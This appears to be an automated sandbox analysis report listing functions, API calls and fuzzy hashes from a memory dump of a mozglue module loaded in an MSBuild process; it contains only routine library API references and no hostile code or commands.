Instruction ID: 951fb7a15f82ca62364663900cd14a9659f9ae53ca8ee456341676927bee59f1
Opcode Fuzzy Hash: 527f490175e0bf63b1e48833e3d77457e7cf8c2e380e59fa20e3f8821327dd37
Instruction Fuzzy Hash: 68118E31B04654DFCB00AF18C448B5ABBB4FB8932CF45C619E89557A50EB70A805CBA5

Function 6CC10C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CC10CD5

Part of subcall function 6CBFF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CBFF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CC10D40
free.MOZGLUE ref: 6CC10DCB

Part of subcall function 6CBE5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CBE5EDB
Part of subcall function 6CBE5E90: memset.VCRUNTIME140(6CC27765,000000E5,55CCCCCC), ref: 6CBE5F27
Part of subcall function 6CBE5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CBE5FB2

free.MOZGLUE ref: 6CC10DDD
free.MOZGLUE ref: 6CC10DF2

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: d4c411fec5adeb77c16049cfb486bd1477c40f20fd4688f051b7b5cd8175b935
Instruction ID: bad68b92c5f09742981c22dcefadeb84cc4750a830bda2ad9c3453914a3a9fe1
Opcode Fuzzy Hash: d4c411fec5adeb77c16049cfb486bd1477c40f20fd4688f051b7b5cd8175b935
Instruction Fuzzy Hash: C041277191C7808BD320DF2AC08079EFBE5BF89754F108A6EE8D887B50E7709459CB82

Function 6CC19120 Relevance: 6.3, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CC18242,?,00000000,?,6CC0B63F), ref: 6CC19188
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CC18242,?,00000000,?,6CC0B63F), ref: 6CC191BB
memcpy.VCRUNTIME140(00000000,00000008,0000000F,?,?,6CC18242,?,00000000,?,6CC0B63F), ref: 6CC191EB
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CC18242,?,00000000,?,6CC0B63F), ref: 6CC19200
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6CC18242,?,00000000,?,6CC0B63F), ref: 6CC19219

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: ca0351e78f6874fe4af98e15c936931d1e6acbc961cc778f93c343fe675e3011
Instruction ID: 247cee3d85c89ac7961d150cfc9f74f5b24ee963780f872c9866ed816b873eac
Opcode Fuzzy Hash: ca0351e78f6874fe4af98e15c936931d1e6acbc961cc778f93c343fe675e3011
Instruction Fuzzy Hash: 10314431A046058BEB00DF6ADC4476A73B5FF81315F508639D856C7A50FB31E949DBA1

Function 6CC00800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CC4E7DC), ref: 6CC00838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6CC0084C
EnterCriticalSection.KERNEL32(?), ref: 6CC008AF
LeaveCriticalSection.KERNEL32(?), ref: 6CC008BD
LeaveCriticalSection.KERNEL32(6CC4E7DC), ref: 6CC008D5

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: a9755ec2580f092c81a41ef7662f1b7b8cd162d51663c7eba90eba65311ef10a
Instruction ID: beaf6c69e97e4e1712c7567c5faac011d576677f408c2f22751c086d99df624d
Opcode Fuzzy Hash: a9755ec2580f092c81a41ef7662f1b7b8cd162d51663c7eba90eba65311ef10a
Instruction Fuzzy Hash: D321C231B052498BEF04DF65D854BAEB7B9BF85718F52866CD509A7B40EF32A804CBD0

Function 6CC1CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CC0DA31,00100000,?,?,00000000,?), ref: 6CC1CDA4

Part of subcall function 6CBDCA10: malloc.MOZGLUE(?), ref: 6CBDCA26

Part of subcall function 6CC1D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CC1CDBA,00100000,?,00000000,?,6CC0DA31,00100000,?,?,00000000,?), ref: 6CC1D158
Part of subcall function 6CC1D130: InitializeConditionVariable.KERNEL32(00000098,?,6CC1CDBA,00100000,?,00000000,?,6CC0DA31,00100000,?,?,00000000,?), ref: 6CC1D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CC0DA31,00100000,?,?,00000000,?), ref: 6CC1CDC4

Part of subcall function 6CC17480: ReleaseSRWLockExclusive.KERNEL32(?,6CC215FC,?,?,?,?,6CC215FC,?), ref: 6CC174EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CC0DA31,00100000,?,?,00000000,?), ref: 6CC1CECC

Part of subcall function 6CBDCA10: mozalloc_abort.MOZGLUE(?), ref: 6CBDCAA2

Part of subcall function 6CC0CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CC1CEEA,?,?,?,?,00000000,?,6CC0DA31,00100000,?,?,00000000), ref: 6CC0CB57
Part of subcall function 6CC0CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CC0CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CC1CEEA,?,?), ref: 6CC0CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CC0DA31,00100000,?,?,00000000,?), ref: 6CC1D058

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 25b9197ab4cd0254443cd936ea1acd4f781d22f1a0ebf478b56038d125cda98c
Instruction ID: e41a2b44b69d8dee9fbe19a7dac942c1da2aae4cd70d4a69c88553b350ffc7a1
Opcode Fuzzy Hash: 25b9197ab4cd0254443cd936ea1acd4f781d22f1a0ebf478b56038d125cda98c
Instruction Fuzzy Hash: 66D15071A04B469FD709CF29C480799F7F1BF89308F01866DE8598BB51EB31E9A5CB81

Function 6CBD1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CBD17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6CBD18EE
free.MOZGLUE(?), ref: 6CBD1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CBD194C

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 849c2bf6b9e204162fc55e63c5dddb843c6fd1e9b3cbe8417b270982a81f0f18
Instruction ID: b49e7e3dcb31d3290ed8ccf53d1660d865be509b4b8554a930db4caa7e42fd73
Opcode Fuzzy Hash: 849c2bf6b9e204162fc55e63c5dddb843c6fd1e9b3cbe8417b270982a81f0f18
Instruction Fuzzy Hash: 1381C670A15245DFDB08CF68D8945EEBBB1FF89324F09452CE815AB754D730E845CBA2

Function 6CBE5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CBE5D40
EnterCriticalSection.KERNEL32(6CC4F688), ref: 6CBE5D67
__aulldiv.LIBCMT ref: 6CBE5DB4
LeaveCriticalSection.KERNEL32(6CC4F688), ref: 6CBE5DED

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 1d7c4000ed9bf45000a0c6edcda3b143a54c2c6c6e7c1f2343aef2d8382ea6ef
Instruction ID: 19698a28313b9ad79fb913176488146df53c7ececfb20bd84655bb3c1ff7aef1
Opcode Fuzzy Hash: 1d7c4000ed9bf45000a0c6edcda3b143a54c2c6c6e7c1f2343aef2d8382ea6ef
Instruction Fuzzy Hash: 14517171E001698FDF08DFA8C854ABEBBB2FB89718F1AC61DD815A7750C730A945CB90

Function 6CC27170 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CC27250
EnterCriticalSection.KERNEL32(6CC4F688), ref: 6CC27277
__aulldiv.LIBCMT ref: 6CC272C4
LeaveCriticalSection.KERNEL32(6CC4F688), ref: 6CC272F7

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: f22e5ff2f404ed72f6b06c7a258e5a669611a5fbf9488a697da0074036634eae
Instruction ID: 7436a8b5f1001249c02954346dc28c4f8a29891f875938c73513add4a875ec65
Opcode Fuzzy Hash: f22e5ff2f404ed72f6b06c7a258e5a669611a5fbf9488a697da0074036634eae
Instruction Fuzzy Hash: D3513C71E001298FCF08DFA8C995AAEBBB1FB89308F19C62DD815A7750D735A945CB90

Function 6CBCCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBCCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CBCCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CBCCF4E

Strings

0, xrefs: 6CBCCF30

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 50dd173987566b32e1635595f6be70a359a3a1b038a550aa191a68db691b8c6a
Instruction ID: e6adcf9474914a47b1cc6f190e86000c4b4f425e02e720e40ba975b0e816f63a
Opcode Fuzzy Hash: 50dd173987566b32e1635595f6be70a359a3a1b038a550aa191a68db691b8c6a
Instruction Fuzzy Hash: A9510375A0026A8FCB00CF18C490A9ABBB5EF99304F19869DD8595F751D731FD06CBE1

Function 6CC277D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC277FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6CC27829

Part of subcall function 6CBFCC38: GetCurrentProcess.KERNEL32(?,?,?,?,6CBC31A7), ref: 6CBFCC45
Part of subcall function 6CBFCC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6CBC31A7), ref: 6CBFCC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CC2789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CC278CF

Part of subcall function 6CBC4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CBC4E5A
Part of subcall function 6CBC4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CBC4E97

Part of subcall function 6CBC4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CC03EBD,6CC03EBD,00000000), ref: 6CBC42A9

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: e34986151fd222cd9d0c8c20f3c844934a902575a3011489eb662d594cb20dc0
Instruction ID: ff11f732ca37ad29edc61665e3ec71e1fcbffb07f1de5db0731f0d4b4b276229
Opcode Fuzzy Hash: e34986151fd222cd9d0c8c20f3c844934a902575a3011489eb662d594cb20dc0
Instruction Fuzzy Hash: 6A419F719047469FD300DF29D48056BFBF4FF8A254F204A2EE4A987740EB70D55ACB92

Function 6CC06470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CC082BC,?,?), ref: 6CC0649B

Part of subcall function 6CBDCA10: malloc.MOZGLUE(?), ref: 6CBDCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC064A9

Part of subcall function 6CBFFA80: GetCurrentThreadId.KERNEL32 ref: 6CBFFA8D
Part of subcall function 6CBFFA80: AcquireSRWLockExclusive.KERNEL32(6CC4F448), ref: 6CBFFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC0653F
free.MOZGLUE(?), ref: 6CC0655A

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 9fcc40dc149c4ea9098765b7e89e4260c47fde3cb6f183e54b9a316c1787ef76
Instruction ID: 352e54c8b1732bf4d65423d999de32336328e9143b9a5b96d027ed62ecdee443
Opcode Fuzzy Hash: 9fcc40dc149c4ea9098765b7e89e4260c47fde3cb6f183e54b9a316c1787ef76
Instruction Fuzzy Hash: 39318FB5A047559FD700CF24D894A9FBBF4BF89318F40842EE85A97740EB30E919CB92

Function 6CBFFF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6CC1D019,?,?,?,?,?,00000000,?,6CC0DA31,00100000,?), ref: 6CBFFFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6CC1D019,?,?,?,?,?,00000000,?,6CC0DA31,00100000,?,?), ref: 6CBFFFF5
free.MOZGLUE(?,?,?,?,?,6CC1D019,?,?,?,?,?,00000000,?,6CC0DA31,00100000,?), ref: 6CC0001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6CC1D019,?,?,?,?,?,00000000,?,6CC0DA31,00100000,?,?), ref: 6CC0002A

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 04a27485443596ad8c0ac81178711ff0e6548643dc3e688ed65a079031bcee2b
Instruction ID: 801ec5d6c3e2f73089ccda1d83103183433ebe5f7b4dd2398d44191ce4789f89
Opcode Fuzzy Hash: 04a27485443596ad8c0ac81178711ff0e6548643dc3e688ed65a079031bcee2b
Instruction Fuzzy Hash: 242106B2B002515BDB089E789C948AFB7FAEB853243250338E425D7780FB31AD0682D1

Function 6CBDB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CBDB4F5
AcquireSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CBDB502
ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CBDB542
free.MOZGLUE(?), ref: 6CBDB578

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: ee6aea7e147b9d0d5feaf676ae925813bf80e62f81afa588dcfa3b1a443d370e
Instruction ID: 31e55e56280839a53573d637f8fe64de357868f19c047513b4b0fa7ed214edf6
Opcode Fuzzy Hash: ee6aea7e147b9d0d5feaf676ae925813bf80e62f81afa588dcfa3b1a443d370e
Instruction Fuzzy Hash: D311DF31A14B81CBD7129F29C410765B3B1FF9A31CF11E70AE84953E01EBB0B5C48791

Function 6CC03DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CBCF20E,?), ref: 6CC03DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CBCF20E,00000000,?), ref: 6CC03DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CC03E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CC03E0E

Part of subcall function 6CBFCC00: GetCurrentProcess.KERNEL32(?,?,6CBC31A7), ref: 6CBFCC0D
Part of subcall function 6CBFCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CBC31A7), ref: 6CBFCC16

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 4527c229e7d68823aae9db211d198ba62f621f2045f37f9f2cd273309542c00f
Instruction ID: a4014cac0c648f3a967e468a7cb5ecad24ae1ca057b994387d56b9e121dfb6a6
Opcode Fuzzy Hash: 4527c229e7d68823aae9db211d198ba62f621f2045f37f9f2cd273309542c00f
Instruction Fuzzy Hash: 0DF0FE716402186BE700AB54EC41DAF377DEB46628F058020FD1857741E636B95986F6

Function 6CC12050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC1205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6CC1201B,?,?,?,?,?,?,?,6CC11F8F,?,?), ref: 6CC12064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC1208E
free.MOZGLUE(?,?,?,00000000,?,6CC1201B,?,?,?,?,?,?,?,6CC11F8F,?,?), ref: 6CC120A3

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 347f112d4d5bf06b47670630a0f72416411b27dcf87e9b1885fce4ba6ababd3a
Instruction ID: 8d2325d96e96d14465ec7dda38262f41249bd78ba16a6071b3e0860c2a2bc632
Opcode Fuzzy Hash: 347f112d4d5bf06b47670630a0f72416411b27dcf87e9b1885fce4ba6ababd3a
Instruction Fuzzy Hash: 92F0B475104A009FC7119F17D898B5BB7F8EF8A368F10412AE50687B10DB71A806CB95

Function 6CC120B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC120B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6CBFFBD1), ref: 6CC120C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6CBFFBD1), ref: 6CC120DA
free.MOZGLUE(00000000,?,6CBFFBD1), ref: 6CC120F1

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 642a27223b1a63042f34cd0f2ebec7764c8fcc622a33e52eb98b57bfd10b1278
Instruction ID: 98334d419d62924370926b595e33fbd971abef8fe0c9debbc69eeb9b4f29258d
Opcode Fuzzy Hash: 642a27223b1a63042f34cd0f2ebec7764c8fcc622a33e52eb98b57bfd10b1278
Instruction Fuzzy Hash: B0E0E535604A148BC220AF269818A4EB7F9FF87318B10422AE406C3F00E776E94A86D9

Function 6CC185B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CC185D3

Part of subcall function 6CBDCA10: malloc.MOZGLUE(?), ref: 6CBDCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CC18725

Strings

map/set<T> too long, xrefs: 6CC18720

Memory Dump Source

